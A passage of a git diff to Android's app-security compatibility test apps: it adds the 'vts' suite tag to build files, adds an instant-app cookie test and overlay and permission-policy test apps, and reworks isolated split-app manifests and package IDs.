diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
index 4e49387..cd3c04e 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_PACKAGE_NAME := CtsEscalateToRuntimePermissions
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 272d0f9..47d468e 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_PACKAGE_NAME := CtsExternalStorageApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
index 5645a7f..1f9063c 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
@@ -26,7 +26,9 @@
 
 LOCAL_PACKAGE_NAME := CtsInstantCookieApp
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
new file mode 100644
index 0000000..b154ae2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_PACKAGE_NAME := CtsInstantCookieApp2
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
new file mode 100644
index 0000000..31f653d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="test.instant.cookie"
+        android:versionCode="1"
+        android:versionName="1.0"
+        android:targetSandboxVersion="2">
+
+    <application/>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="test.instant.cookie" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
new file mode 100644
index 0000000..da1492f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test.instant.cookie;
+
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+public class CookieTest {
+    @Test
+    public void testCookiePersistedAcrossInstantInstalls2() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // After the upgrade the cookie should be the same
+        assertEquals("2", new String(pm.getInstantAppCookie()));
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index d49fe73..a48abbf 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsInstrumentationAppDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # sign this app with different cert than CtsTargetInstrumentationApp
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 9225ee2..3231710 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -18,20 +18,25 @@
 
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
+# Feature splits are dependent on this base, so it must be exported.
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
-# Tag this module as a cts test artifact
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
+# Build the other splits.
 include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 15a0b25..dd76592 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -17,20 +17,32 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Feature splits are dependent on this split, so it must be exported.
 LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS += --custom-package com.android.cts.isolatedsplitapp.feature_a
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
 LOCAL_AAPT_FLAGS += --package-id 0x80
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d3aed1d..958b8d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,17 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_a"
         featureSplit="feature_a">
 
     <application>
-        <activity android:name=".feature_a.FeatureAActivity">
+        <activity android:name=".FeatureAActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_a.FeatureAReceiver">
+        <receiver android:name=".FeatureAReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 3b11085..240fc2c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -17,19 +17,29 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base and feature A.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp CtsIsolatedSplitAppFeatureA
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_b
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
 LOCAL_AAPT_FLAGS += --package-id 0x81
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 00c2d6c..d89a1f2 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,19 +15,19 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_b"
         featureSplit="feature_b">
 
     <uses-split android:name="feature_a" />
 
     <application>
-        <activity android:name=".feature_b.FeatureBActivity">
+        <activity android:name=".FeatureBActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_b.FeatureBReceiver">
+        <receiver android:name=".FeatureBReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index 70880ba..35b3252 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -17,19 +17,29 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_c
-LOCAL_AAPT_FLAGS += --package-id 0x82
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Use the same package ID as feature A, since this is an isolated split and
+# will not be loaded together with feature A.
+LOCAL_AAPT_FLAGS += --package-id 0x80
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index ac3a57f..64b087c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,17 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_c"
         featureSplit="feature_c">
 
     <application>
-        <activity android:name=".feature_c.FeatureCActivity">
+        <activity android:name=".FeatureCActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_c.FeatureCReceiver">
+        <receiver android:name=".FeatureCReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 2f6af13..b85e21b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -45,15 +45,20 @@
 @RunWith(AndroidJUnit4.class)
 public class SplitAppTest {
     private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
+
     private static final ComponentName FEATURE_A_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
     private static final ComponentName FEATURE_B_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
     private static final ComponentName FEATURE_C_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_c.FeatureCActivity");
-    private static final String FEATURE_A_STRING = PACKAGE + ":string/feature_a_string";
-    private static final String FEATURE_B_STRING = PACKAGE + ":string/feature_b_string";
-    private static final String FEATURE_C_STRING = PACKAGE + ":string/feature_c_string";
+
+    private static final String FEATURE_A_STRING =
+            "com.android.cts.isolatedsplitapp.feature_a:string/feature_a_string";
+    private static final String FEATURE_B_STRING =
+            "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
+    private static final String FEATURE_C_STRING =
+            "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
 
     private static final Configuration PL = new Configuration();
     static {
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index ff6be32..0744834 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsMultiUserStorageApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 31b683d..32f36d0 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_PACKAGE_NAME := CtsNoRestartBase
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
index c92375e..626c0be 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_PACKAGE_NAME := CtsNoRestartFeature
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/OverlayApp/Android.mk b/hostsidetests/appsecurity/test-apps/OverlayApp/Android.mk
new file mode 100644
index 0000000..21366a5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/OverlayApp/Android.mk
@@ -0,0 +1,28 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_PACKAGE_NAME := CtsOverlayApp
+
+# Tag this module as a cts test artifact
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
diff --git a/hostsidetests/appsecurity/test-apps/OverlayApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/OverlayApp/AndroidManifest.xml
new file mode 100644
index 0000000..83036b2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/OverlayApp/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.overlayapp">
+    <overlay android:targetPackage="android" />
+
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/OverlayApp/res/values/values.xml b/hostsidetests/appsecurity/test-apps/OverlayApp/res/values/values.xml
new file mode 100644
index 0000000..495a43e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/OverlayApp/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="cancel">Forget about it!</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
index f1dbf84..dfa703a 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsPkgAccessApp
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index 7f2ead4..c10bbf6 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # sign this app with a different cert than CtsUsePermissionDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index 5fbc838..c89defd 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # sign this app with a different cert than CtsUsePermissionDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
new file mode 100644
index 0000000..9206b6f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
@@ -0,0 +1,40 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util \
+    ctstestrunner \
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsPermissionPolicyTest25
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
new file mode 100644
index 0000000..10484fb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.permission.policy">
+
+    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.permission.policy" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml
new file mode 100755
index 0000000..57d902c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <string name="Permissions">Permission policy 25</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
new file mode 100644
index 0000000..2db1f41
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
